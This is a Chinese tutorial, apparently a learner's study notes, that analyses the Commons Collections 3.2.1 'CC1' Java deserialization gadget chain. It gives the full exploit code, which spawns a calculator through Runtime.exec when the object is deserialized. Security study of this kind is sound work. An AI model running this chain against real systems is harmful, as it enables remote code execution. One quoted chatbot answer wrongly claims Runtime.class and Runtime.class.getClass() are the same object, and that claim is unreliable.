Java反序列化之CC1链

admin 2024年5月22日21:34:33评论3 views字数 26688阅读88分57秒阅读模式

Commons Collections简介

Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法 的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同 类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实 现。它的代码质量较高,被广泛应用于Java应用程序开发中。

Commons Collections 3.1 版本的利用链衍生出多个版本的利用方式,但其核心部分是相同的,不同之 处在于中间过程的构造。Ysoserial 反序列化利用工具中提供了几种利用方式:

Java反序列化之CC1链

本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链。

此包的类包含下面两个,需要重点关注:

Map

Commons Collections在java.util.Map的基础上扩展了很多接口和类,比较有代表性的是 BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似,Commons Collections也提供了一个 MapUtils。

所谓BidiMap,直译就是双向Map,可以通过key找到value,也可以通过value找到key,这在我们 日常的代码-名称匹配的时候很方便:因为我们除了需要通过代码找到名称之外,往往也需要处理 用户输入的名称,然后获取其代码。需要注意的是BidiMap当中不光key不能重复,value也不可 以。

所谓MultiMap,就是说一个key不再是简单的指向一个对象,而是一组对象,add()和remove()的 时候跟普通的Map无异,只是在get()时返回一个Collection,利用MultiMap,我们就可以很方便的 往一个key上放数量不定的对象,也就实现了一对多。

所谓LazyMap,意思就是这个Map中的键/值对一开始并不存在,当被调用到时才创建。

https://www.iteye.com/blog/duohuoteng-1630329

Transformer

我们有时候需要将某个对象转换成另一个对象供另一组方法调用,而这两类对象的类型有可能并不 是出于同一个继承体系的,或者说出了很基本的Object之外没有共同的父类,或者我们根本不关心 他们是不是有其他继承关系,甚至就是同一个类的实例只是对我们而言无所谓,我们为了它能够被 后续的调用者有意义的识别和处理,在这样的情形,我们就可以利用Transformer。除了基本的转 型Transformer之外,Commons Collections还提供了Transformer链和带条件的Transformer, 使得我们很方便的组装出有意义的转型逻辑。

https://blog.csdn.net/liliugen/article/details/83298363

环境搭建

由于存在漏洞的版本 commons-collections3.1-3.2.1

jdk 8u71之后已修复不可用,这里下载JDK-8u65:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

下载安装之后,配置到idea中,添加常规Maven项目,选择我们刚下载的jdk

Java反序列化之CC1链

然后配置Maven依赖下载CommonsCollections3.2.1版本。复制到pom.xml中即可

<dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
Java反序列化之CC1链

由于我们分析时要涉及的jdk源码,所以要把jdk的源码也下载下来方便我们分析。

因为jdk自带的包里面有些文件是反编译的.class文件,我们没法清楚的看懂代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们安装相应的源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

Java反序列化之CC1链

点击左下角的zip即可下载,然后解压。再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩 包,将其解压,然后把刚刚下载的源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷 贝到src文件夹中去。

打开IDEA,选择文件 --->项目结构 --->SDK --->源路径 --->把src文件夹添加到源路径下,保存即可。

Java反序列化之CC1链

但我做了如上配置发现没有sun目录的显示,又看了几篇文章发现,似乎是将src目录添加到类路径中

Java反序列化之CC1链

如下图不再显示.class则表示配置成功

Java反序列化之CC1链

反序列化分析

我们利用反序列化漏洞的方法一般是寻找到某个带有危险方法的类,然后溯源,看看哪个类中的方法有调用危险方法(有点像套娃,这个类中的某个方法调用了下个类中的某个方法,一步步套下去),并且继承了序列化接口,然后再依次向上回溯,直到找到一个重写了readObject方法的类, 并且符合条件,那么这个就是起始类,我们可以利用这个类一步步的调用到危险方法(这里 以"Runtime中的exec方法为例"),这就是大致的Java漏洞链流程。

与PHP反序列化思路相似

源头

CC1链的源头就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法(这里我是点击了右上角的下载源代码才成了java文件,否则仍为class文件)

这里想补充一下:看了视频发现往上回溯的思路一般都是找不同类的相同方法,如果你找到的是相同类的相同方法是没意义的。

比如想找setValue方法,结果看到一个setValue调用setValue方法,那这不还是要找setValue方法被谁调用吗,如果找到的是a调用setValue方法,还能继续找谁调用了a,这样才有找头,遇到危险类的危险方法概率也就大。

Java反序列化之CC1链

然后就是寻找继承了这个接口的类 : ctrl+alt+b(前提是选中transform方法)

Java反序列化之CC1链

可以看到有很多类,我们这里找到了有重写transform方法的InvokerTransformer类(以上展示的都有重写transform的情况,但invoke这个类更符合预期),并且可以看到它也继承了Serializable,很符合我们的要求。

Java反序列化之CC1链

对于零基础的我,这里理解了一下为何这个类继承了我们的transform接口,原因在于上图的implements关键字:

用于表示一个类实现了一个或多个接口。当一个类使用implements关键字后面跟个多个接口名称的时候,他就表明该类承诺实现了这些接口中所定义的方法,来一个简单eg:

public interface MyInterface {
    void myMethod();
}

public class MyClass implements MyInterface {
    @Override
    public void myMethod() {
        // 实现接口中定义的方法
        System.out.println("MyClass implements MyInterface");
    }
}

上述例子可以看到定义了一个MyInterface类接口,里面定义了一个抽象方法myMethod方法。接着MyClass继承了MyInterface类,并在其中实现了接口中的myMethod方法。

InvokerTransformer.transform

定位到InvokerTransformer的transform方法

 public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();//获取input对象的class类对象
            Method method = cls.getMethod(iMethodName, iParamTypes);//获取iMethodName方法
            return method.invoke(input, iArgs);//调用iMethodName方法,传入iArgs参数,返回结果
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }//上面就是异常对应的处理了

可以看到上述try代码块就是调用了我们熟悉的反射机制,来返回某个方法的值,这是很明显的利用点:transform方法接受一个对象,不为空时,就会进行通过反射机制动态地调用对象的特定方法。

并且iMethodName 、 iParamTypes 、 iArgs 这几个参数都是通过构造函数控制的,并且为public:

Java反序列化之CC1链
//有参构造函数。参数为方法名,调用方法的参数类型,调用方法的参数值
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

因为这些参数我们都可以控制,也就是说我们可以通过InvokerTransformer.transform()方法来调用任意类的任意方法,比如弹一个计算器:

Java反序列化之CC1链

可以看到成功执行了命令,说明我们成功找到了源头利用点了,接下来就是一步步回溯,寻找合适的类,构造利用链,直到到达重写了readObject的类(没有的话就不行了)

寻找某个类中的某个方法是否调用了transform方法,直接对这个方法右键查找用法(alt+F7),可以看到有很多类都调用了该方法

Java反序列化之CC1链

TransformedMap.checkSetValue

我们直接来到TransformedMap类下的checkSetValue方法

Java反序列化之CC1链

我们同样来看一下 TransformedMap 这个类的构造方法和 checkSetValue 方法

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    //接受三个参数,第一个为Map,我们可以传入hashmap。第二个和第三个为Transformer我们需要的了,且可控
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
.......

protected Object checkSetValue(Object value) {//接受一个对象类型的参数
        return valueTransformer.transform(value);//返回valueTransformer对应的transform方法
    }

这里回想之前我们弹计算器用到的InvokerTransformer对象,只要想办法让valueTransformer等于InvokerTransformeru即可实现命令执行(调用任意类的任意方法)

但这里看代码发现该构造函数以及是checkSetValue方法是protected类型,也就是说只能内部(同一个包)去实例化调用,外部是不能访问的,那我们就需要找内部实例化的工具,这里往上查找,可以发现一个public的静态方法decorate方法

TransformedMap.decorate

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

很明显,该方法调用了TransformedMap构造函数进行实例化,且是public,意味着我们可以直接调用,因此我们可以通过TransformedMap.decorate方法来实现调用任意类的任意方法

测试代码1

import com.sun.javafx.collections.MappingChange;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Method;
import java.lang.reflect.InvocationTargetException;
import javax.swing.text.html.ObjectView;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        //静态方法staic修饰,直接类名+方法名调用
  //把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的
        Map<Object,Object> decorateMap = TransformedMap.decorate(map,null, invokerTransformer);
        Class transformerMapClass = TransformedMap.class;
        //TransformedMap.class返回TransformedMap类的Class对象。我们可以使用这个Class对象来访问和操作TransformedMap类的相关信息。
        Method checkSetValueMethod = transformerMapClass.getDeclaredMethod("checkSetValue", Object.class);
        //使用transformedMapClass对象来获取TransformedMap类的checkSetValue方法。
        //因为checkSetValue是peotected,所以需要使用etAccessible(true)改变其作用域,这样即使私有的方法,也可以访问调用了
        checkSetValueMethod.setAccessible(true);
        //参数:1、调用方法的对象实例,2、要传递给方法的参数
        checkSetValueMethod.invoke(decorateMap, r);

    }
}
Java反序列化之CC1链

这里先理一下思路(先不管Map,HashMap的由来)首先我们是找到了调用了transform方法的类TransformedMap,接着我们进入该类继续分析,发现checkSetValue方法的valueTransformer.transform(value);调用与我们最开始的demo相同,只需要将valueTransformer替换为InvokerTransformer即可。

那既然我们想要调用checkSetValue方法,就需要看该方法所属类的构造函数了,接着分析其对应的构造函数发现存在对valueTransformer的赋值,这意味着valueTransformer我们可控了。但这时候发现都是protected的权限,这时候需要寻找内部是否存在实例化该类的方法,结果发现decorate静态方法,且为public权限,这意味着我们直接调用即可构造完整利用链

接下来就是寻找哪里调用了decorate方法,这里找到如下图的地方,但这个类是没用的(这里是文章说的,我还不懂,先往下分析)

Java反序列化之CC1链

既然找不到合适的,所以我们把目光再放回之前的 checkSetValue 方法,去找哪里调用了该方法。 这里我们同样查找用法(Alt+F7),发现只有一个地方调用了checkSetValue方法: AbstractInputCheckedMapDecorator 类的 setValue

Java反序列化之CC1链

AbstractInputCheckedMapDecorator.MapEntry.setValue

仔细观察也会发现,AbstractInputCheckedMapDecorator类为TransformedMap的父类

Java反序列化之CC1链

Entry代表的是Map中的一个键值对,而对Map中我们可以看到setValue方法,我们在对Map进行遍历的时候可以调用setValue这个方法

Java反序列化之CC1链

不过上面这个MapEntry类实际上是重写了setValue方法,看他继承的父类AbstractMapEntryDecorator,其中也含有setValue方法

Java反序列化之CC1链

而这个类又引入了Map.Entry接口,所以我们只需要进行常规的Map遍历,就可以调用setValue方法,然后水到渠成的调用checkSetValue方法

Java反序列化之CC1链
import com.sun.javafx.collections.MappingChange;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Method;
import java.lang.reflect.InvocationTargetException;
import javax.swing.text.html.ObjectView;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();//实例化一个HashMap
        map.put("key""value");//给map一个键值对,方便后续的遍历

        Map<Object,Object> decorateMap = TransformedMap.decorate(map,null, invokerTransformer);
        //用于遍历 decorateMap 中的每个 Entry 对象。在每次迭代中,将当前的 Entry 对象赋值给变量entry。每个 Entry 对象表示一个键值对,其中包括键和对应的值。
        for (Map.Entry entry:decorateMap.entrySet()){//decorateMap是一个Map对象,entrySet() 方法返回一个包含 Map 中键值对(Entry)的集合。
            entry.setValue(r);//调用setvalue方法,设置Entry对象的值为r
        }

    }
}

decorateMap 之前的东西和之前都一样,不再讲述,区别是我们这里遍历了 decorateMap 来触发 setValue 。(注意 map.put("key","value") ,要不然map里面没东西,后面进不去for循环)

decorateMap 是 TransformedMap 类的,该类没有再实现 entrySet 方法,所以会调用父类的 entrySet 方法。故在for循环时会进入如下方法:

Java反序列化之CC1链

这里会先判断isSetValueChecking(),如果判断通过即可过得一个EntrySet实例,而我们的 isSetValueChecking() 是恒返回true的,所以也就无所谓,直接返回实例。 所以我们的 entry 在这里也是来自 AbstractInputCheckedMapDecorator 类的,所以后面才可以调到 setValue 方法。效果如下:

protected boolean isSetValueChecking() {
        return true;//恒为true
    }
Java反序列化之CC1链

隔了一天了,再来梳理一下上述链子的思路:

首先我们在TransformedMap类下,想要调用的是checkSetValue方法(但是protected权限),接着我们想的是直接利用该类本身带有的decorate方法来实例化类,进一步调用checkSetValue方法,但对于decorate来讲,没能找到调用该方法的链子(发现走不通)。于是我们接着查看checkSetValue方法被谁调用过。

发现只有一个类调用了该方法:AbstractInputCheckedMapDecorator类下的setValue方法,仔细观察会发现该方法包含在一个MapEntry类中,且继承自父类AbstractMapEntryDecorator,我们跟踪该类会发现该类还实现了Map.Entry接口中的方法,我们先观察当前类,发现该类也含有一个setValue方法,这意味着AbstractInputCheckedMapDecorator类下的setValue是对AbstractMapEntryDecorator类中对应的方法的重写。

接着我们跟踪Map.Entry接口,会发现该接口中含有setValue方法,且以键值对的形式存在,这意味着如果我们对Map对象调用entrySet方法,进行遍历即可得到setValue方法,而该方法已经被重写过了,也就能完整的形成调用链

而对于上述有一个小问题:就是我们经过遍历得到的setValue方法,是被AbstractMapEntryDecorator类实现的,但是该类的子类 AbstractInputCheckedMapDecorator对其父类的setValue方法进行了重写,那这个时候调用的应该是父类的setValue还是子类的setValue方法呢?(这里给出GPT的答案)

通过 `entrySet()` 方法获取到的 `Map.Entry` 对象,调用的是具体条目对象的 `setValue()` 方法,而具体条目对象是实现类的实例。

如果具体条目对象的 `setValue()` 方法在子类中被重写(覆盖),那么通过 `entrySet()` 方法获取到的 `Map.Entry` 对象调用的就是子类中重写后的 `setValue()` 方法,而不是父类的方法。

这符合面向对象的多态性原则,即通过父类的引用调用子类的方法时,实际执行的是子类中重写后的方法。

例如,如果你使用的是 `HashMap` 类作为 `Map` 的实现类,并且在子类中有一个名为 `MyEntry` 的具体条目类,覆盖了 `setValue()` 方法,那么通过 `entrySet()` 方法获取到的 `Map.Entry` 对象调用的就是 `MyEntry` 类中重写后的 `setValue()` 方法。

总结来说,通过 `entrySet()` 方法获取到的 `Map.Entry` 对象调用的是具体条目对象的 `setValue()` 方法,如果该方法在子类中被重写,那么调用的就是子类中重写后的方法。

那我们接着分析,现如今找到了setValue方法,接下来就是继续看谁调用了该方法,并且可以被我们继续所利用构造出合适的链子

这里经过文章的分析,找到了AnnotationInvocationHandler类,且该类中还含有readObject方法

Java反序列化之CC1链

进一步观察代码会发现,其中的for语句已经完美的替换掉了我们上述遍历Map对象的处理

Java反序列化之CC1链

AnnotationInvocationHandler.readObject

这里我们找到了 AnnotationInvocationHandler 中的 readObject 方法,接下来跟着文章分析一下这段代码

//这是一个私有方法,用于反序列化对象。它接受一个 ObjectInputStream 类型的参数 s,用于读取对象的序列化数据。
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException 
{
    //使用 ObjectInputStream 的 defaultReadObject() 方法从输入流中读取对象的默认数据。这是为了保证默认的反序列化行为。
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly
  //这是一个自定义的类型,用于表示注解类型
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
  
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
    //使用 for 循环遍历 memberValues.entrySet(),将每个键值对赋值给memberValue
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            //根据成员名从memberTypes中获取对应的成员类型
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                //获取当前循环迭代的值(成员值)
                Object value = memberValue.getValue();
                //判断成员值是否与成员类型兼容
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
              //如果成员值不兼容,将会创建一个新的AnnotationTypeMismatchExceptionProxy对象,并将其设置为对应的成员值
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

可以看到这里再调用setValue前面还要经过两个判断,这里再看一下memberValues是如何传入的

Java反序列化之CC1链

如上图,这里看到是在构造函数中传入memberValues形参对应的值,这里可以知道memberValues是可控的,只需要在构造函数的时候传入memberValues即可。且这里的构造函数的修饰符是默认的

我们知道在 Java 中,如果在构造函数的定义中没有指定修饰符(如 public 、 private 、 protected 或者默认的包级私有),那么该构造函数将具有默认的包级私有访问修饰符。默认的包级私有访问修饰符意味着该构造函数可以在同一个包中的其他类中访问和调用,但在不同包中的类中是不可见的。

也就是说这个构造函数只能在sun.reflect.annotation包下被调用,如果我们想要在外部调用,就需要利用反射。这里结合前面,我们可以再次写出利用代码

测试代码2

import com.sun.javafx.collections.MappingChange;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.invoke.MethodHandle;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.InvocationTargetException;
import javax.swing.text.html.ObjectView;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws Exception {

        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key""value");

        Map<Object,Object> decorateMap = TransformedMap.decorate(map,null, invokerTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.classMap.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Override.classdecorateMap);
        serialize(obj);  //序列化
        unserialize("D:\JavaStudy\JavaCC1\src\main\java\Cc1.ser"); //反序列化

    }
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:\JavaStudy\JavaCC1\src\main\java\Cc1.ser"));
        oos.writeObject(object);
    }

    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

但这里我们在运行之后,并没有弹出计算器

Java反序列化之CC1链

问题1

调试看看,断点设在AnnotationInvocationHandler.readObject()之前说的两个判断处:进行调试运行

Java反序列化之CC1链

在这里如果我们点击步过的话,会直接调到下面,说明我们没有进去if判断语句。这里判断memberType,但是我们的memberType正好为空。

memberType来自memberTypes,memberTypes来自annotationType,annotationType 来自 type ( annotationType = AnnotationType.getInstance(type); )

Java反序列化之CC1链

而Type来自我们传入的构造函数的参数

Java反序列化之CC1链

我们这里的要求传入的注解参数,是要求有成员变量的,并且成员变量要和 map 里面的 key 对的上。 ( ! (memberType.isInstance(value) )

Java反序列化之CC1链

但是我们之前使用的Override注解没有成员变量,所以不行

Java反序列化之CC1链

这里我们找到了SuppressWarnings注解,该注解有一个成员变量:

Java反序列化之CC1链

于是我们可以修改我们的代码:(这里暂时不知道为何要修改map这一处代码)

Java反序列化之CC1链

问题2

改完之后接着运行,发现报错,这里说找不到对应的exec方法,看到上述Runtime类的对象r也是灰色的

Java反序列化之CC1链

同时我们可以看到,readObject 方法里面 setValue 的参数的实例居然是写死的,根本没用办法利用

Java反序列化之CC1链

解决无法传入runtime的问题

在解决这个问题的时候,文章看的我很疑惑,我不理解他们如何找到的那些类,这里看了个b站的视频,有所收获,这里就先跟着文章走一波,走完之后在总体回顾一下选择这些类的思路。

这里找到文章所说类的原因大概率是前期准备的工作,我们可以直接拿出那两个关键类来分析一波

ChainedTransformer

Java反序列化之CC1链

我们对transForm方法继续看看谁调用了,这里找到上图的类发现很有趣的地方,首先这个类ChainedTransformer接受一个Transformer[]数组赋值给一个变量。

接着在transform方法中,接受一个Object对象,然后调用iTransformers数组中的每个元素(实际上代表着转换器),然后调用每个转换器的transform方法,传入Object对象,并将返回值更新为新的转换结果,供以后得iTransformers数组元素调用

至于我们会想到使用上述类的原因在于这里

Java反序列化之CC1链

如上图,这里的Runtime我们跟进一下就知道该类没有继承serialize接口,因此不能被反序列化,但如果我们跟进一下Runtime的原型Class。如下图,会发现该类含有Serializable接口,能进行反序列化

Java反序列化之CC1链

那我们需要先利用反射获取Class原型,payload如下

Class clazz = Class.forName("java.lang.Runtime");
        Method method = clazz.getMethod("getRuntime"null);
        Runtime runtime = (Runtime) method.invoke(null,null);
        Method execMethod = clazz.getMethod("exec", String.class);
        execMethod.invoke(runtime, "calc");

现在我们结合transform方法来实现上述代码

//        Class clazz = Class.forName("java.lang.Runtime");
//        Method method = clazz.getMethod("getRuntime", null);
//        Runtime runtime = (Runtime) method.invoke(null,null);
//        Method execMethod = clazz.getMethod("exec", String.class);
//        execMethod.invoke(runtime, "calc");

//第一段就是为了获取getRuntime方法
        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//第二段是为了执行getRuntime方法,获取Runtime对象
        Runtime runtime = (Runtime) new InvokerTransformer("invoke"new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//通过Runtime对象执行exec方法
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

上面代码写的时候很懵逼,也是看了视频加很多文章才大概懂了知道如何写,主要还是理解了InvokerTransformer构造函数以及transform方之间的联系,就比较好懂为何是上面这种写法了。

下面是对Runtime.class与Runtime.class.getClass方法之间区别的回答,但可以看到这两个没有区别。

是的,`Runtime.class` 和 `Runtime.class.getClass()` 的结果是相同的,它们都表示 `Runtime` 类的 `Class` 对象。

`Runtime.class` 是直接获取 `Runtime` 类的 `Class` 对象的表达式,它返回的是一个 `Class<Runtime>` 类型的对象,表示 `Runtime` 类的 `Class` 对象。

而 `Runtime.class.getClass()` 是对 `Runtime.class` 所表示的 `Class` 对象再次调用 `getClass()` 方法,它也返回的是一个 `Class<Runtime>` 类型的对象,表示 `Runtime` 类的 `Class` 对象的 `Class` 对象。

两者的结果是相同的,都是表示 `Runtime` 类的 `Class` 对象。无论是使用 `Runtime.class` 还是 `Runtime.class.getClass()`,都可以获取到相同的结果,用于反射、获取类信息等操作。

这里写了上述的代码之后,我们发现这样的嵌套执行创建参数太麻烦了,于是乎师傅们找到了可以完美整合我们上述代码的类,这里我们跟进看看

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    /**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

这里虽然上述提到过,但为了回忆继续分析一遍,逻辑主要就是对传入的Transformer数组元素的遍历,从元素0开始,每调用一次iTransformers[i].transform(object);得到的object都会被用于下个元素transform(object)的操作,如同流水线一般,上一次的结果当做下一次的开始。这样的话,我们就可以将上述代码这样修改

Transformer[] transformers = {
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke"new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);//获取Runitme类的原型Class,以便反序列化

这个时候如果我们运行的话,会发现依旧报错,我们下一个断点,看看传参有什么问题。如下图看到传入checkSetValue方法的参数根本不是我们期待的Runtime,根本原因在于上述问题2提到的readObject入口点的setValue参数不可控,那我们再看看有什么类可以解决

Java反序列化之CC1链

ConstantTransformer

我们继续返回源头看看谁继承了Transformer类接口,如下图的ConstantTransformer类,我们发现他对transform的实现为,不论传入什么参数,都返回一个iConstant常量。那如果我们可以将iConstant常量赋值为Runtime对象,那就顺利解决链子的问题了

Java反序列化之CC1链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Cc1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]
{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke"new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value""value");
        Map<Object,Object> decorateMap = TransformedMap.decorate(map,null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.classMap.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(SuppressWarnings.classdecorateMap);
        serialize(obj);  //序列化
        unserialize("D:\JavaStudy\JavaCC1\src\main\java\Cc1.ser"); //反序列化

    }
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:\JavaStudy\JavaCC1\src\main\java\Cc1.ser"));
        oos.writeObject(object);
    }

    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }

}
Java反序列化之CC1链

可以看到最终成功调用

重新分析链子

这里算是初步分析完了,但还是有点懵,接下来再重新梳理一遍思路,就从反序列化入口开始。

我们知道,如果一个类继承了serialize接口的时候,那在反序列化和序列化的时候,都会优先调用该类下重写的readObject与writeObject方法,如果该类下没有重写的话,就会调用java默认的readObject与writeObject方法。

Java反序列化之CC1链

如上图,我们能看到,在该链子的入口处,类下含有重写的readObject方法,接下来我们分析其for语句

//主要就是针对Map.Entry的用法,这里是对memberValues.entrySet进行遍历,并将得到的键值对赋值给memberValue
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    //name就是键值对中的键
            String name = memberValue.getKey();
    //通过get函数获取name键对应的值,赋值给memberType。
            Class<?> memberType = memberTypes.get(name);
    //判断上述获取的memberType值是否为空
            if (memberType != null) {  // i.e. member still exists
                //获取键对应的值
                Object value = memberValue.getValue();
                //如果value值不是memberType的实例,也不是ExceptionProxy的实例,则进入该if语句
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    //调用memberValue其中的setValue方法
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

根据我们构造的链子,这里的memberTypes代表的就是注解类型的实例,在这里是我们的:SuppressWarnings,而该类中只含有一个value方法,经过GPT的解释,我也理解了对于Map.Entry遍历的基础知识。

因为我们需要令memberType != null不成立,也就是memberType 不为空,如果我们选择的是常见的注解类型override是不行的,因为其中没有任何属性或者方法。但SuppressWarnings含有value方法,为了memberType不为空,我们需要在遍历之前写下该代码:map.put("value", "value");后一个value值没有要求,但第一个value必须相同,因为当遍历的时候匹配到了该value键,就会去找对应的值(就是函数对应的内容,这里也就是value())倘若不是value,他就找不到返回null。

这里对于第二个if语句,他会判断value的类型,但类型显然是注解类型的属性,肯定不是上述的两个类的实例,所以一定会进入if语句。这里会调用memberValue的serValue方法,而memberValue已经被我们赋值为decorateMap的Map实例了,我们可以跟进decorateMap去看看具体处理。

decorateMap是来自TransformedMap类,并且还是AbstractInputCheckedMapDecorator类的子类

Map<Object,Object> decorateMap = TransformedMap.decorate(map,null, chainedTransformer);

decorateMap来源是TransformedMap的构造函数,其中赋值了一个map实例,以及关键的chainedTransformer类,我们一个个分析

要知道这里的decorateMap调用了一个entrySet方法,但其所在TransformedMap类没有这个方法,因此会向父类找该方法,巧的是父类的确有该方法,而该方法返回的是一个包含Map.Entry对象的集合,而每个Map.Entry对象都表示Map中的一个键值对

至于为何我们一定要添加map.put("value", "value");除了注释类型的原因之外,我们可以跟踪一下

Java反序列化之CC1链

上述这里又是调用map.entrySet方法,我们如果看一下map的来源就会发现,是来自父类的构造函数的map

Java反序列化之CC1链

可以看到这里的构造函数会判断map是否为空,因此我们必须先对map添加一个键值对。

接着我们返回到刚刚的对decorateMap的键值对的遍历,decorateMap属于TransformedMap类中的属性,但确实Map对象实例,这里说map.entrySet实际上调用的是父类的entrySet方法,而父类又继承了Map对象的接口,因此我们才能对Map对象遍历得到setValue方法,这里我们在遍历到setValue方法之后,如下图,他本应该调用该类下的setValue方法,但是该类的子类却重写了setValue方法,这意味着最终调用的是子类的setValue方法

Java反序列化之CC1链

